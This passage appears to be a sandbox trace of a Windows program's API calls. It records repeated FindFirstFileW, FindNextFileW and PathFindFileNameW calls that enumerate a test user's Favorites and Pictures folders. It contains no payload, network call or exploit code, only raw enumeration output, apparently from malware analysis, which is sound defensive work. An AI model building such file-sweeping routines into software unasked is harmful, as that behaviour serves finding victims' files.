ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0116.557] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0116.557] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.557] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.557] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0116.557] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0116.557] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.557] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.557] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.557] PathFindFileNameW (pszPath="") returned="" [0116.557] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.557] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.557] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.557] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0116.557] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0116.557] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0116.557] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.558] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.558] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0116.558] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0116.558] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.558] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.558] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.558] PathFindFileNameW (pszPath="") returned="" [0116.558] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.560] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.560] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0116.560] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0116.560] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0116.560] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0116.560] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0116.560] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0116.560] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.561] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.561] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0116.561] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0116.561] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.561] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.561] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.561] PathFindFileNameW (pszPath="") returned="" [0116.561] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.562] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.562] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0116.562] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0116.562] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0116.562] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0116.563] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0116.563] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0116.563] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0116.563] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.563] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.563] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0116.563] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0116.563] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.564] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.564] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.564] PathFindFileNameW (pszPath="") returned="" [0116.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.565] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.565] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0116.565] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0116.565] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0116.565] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0116.565] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0116.565] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.566] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.566] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\") returned="kuLBm0R5-grtJK8w\\" [0116.566] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0116.566] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.566] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.566] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.566] PathFindFileNameW (pszPath="") returned="" [0116.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea050ae0, ftCreationTime.dwHighDateTime=0x1d4c5f7, ftLastAccessTime.dwLowDateTime=0xc9d44440, ftLastAccessTime.dwHighDateTime=0x1d4c7d5, ftLastWriteTime.dwLowDateTime=0xc9d44440, ftLastWriteTime.dwHighDateTime=0x1d4c7d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.567] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea050ae0, ftCreationTime.dwHighDateTime=0x1d4c5f7, ftLastAccessTime.dwLowDateTime=0xc9d44440, ftLastAccessTime.dwHighDateTime=0x1d4c7d5, ftLastWriteTime.dwLowDateTime=0xc9d44440, ftLastWriteTime.dwHighDateTime=0x1d4c7d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.567] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d2878e0, ftCreationTime.dwHighDateTime=0x1d4cbc7, ftLastAccessTime.dwLowDateTime=0x439ee700, ftLastAccessTime.dwHighDateTime=0x1d4cea5, ftLastWriteTime.dwLowDateTime=0x439ee700, ftLastWriteTime.dwHighDateTime=0x1d4cea5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KkXM-cBNoii_tDa0YyP", cAlternateFileName="KKXM-C~1")) returned 1 [0116.567] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7851b730, ftCreationTime.dwHighDateTime=0x1d4d59d, ftLastAccessTime.dwLowDateTime=0x252f33d0, ftLastAccessTime.dwHighDateTime=0x1d4c7dc, ftLastWriteTime.dwLowDateTime=0x252f33d0, ftLastWriteTime.dwHighDateTime=0x1d4c7dc, nFileSizeHigh=0x0, nFileSizeLow=0xd169, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z2lk.jpg", cAlternateFileName="")) returned 1 [0116.567] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7851b730, ftCreationTime.dwHighDateTime=0x1d4d59d, ftLastAccessTime.dwLowDateTime=0x252f33d0, ftLastAccessTime.dwHighDateTime=0x1d4c7dc, ftLastWriteTime.dwLowDateTime=0x252f33d0, ftLastWriteTime.dwHighDateTime=0x1d4c7dc, nFileSizeHigh=0x0, nFileSizeLow=0xd169, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="z2lk.jpg", cAlternateFileName="")) returned 0 [0116.567] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.568] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.568] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NYC5ngf\\") returned="NYC5ngf\\" [0116.568] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0116.568] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.568] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.568] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.568] PathFindFileNameW 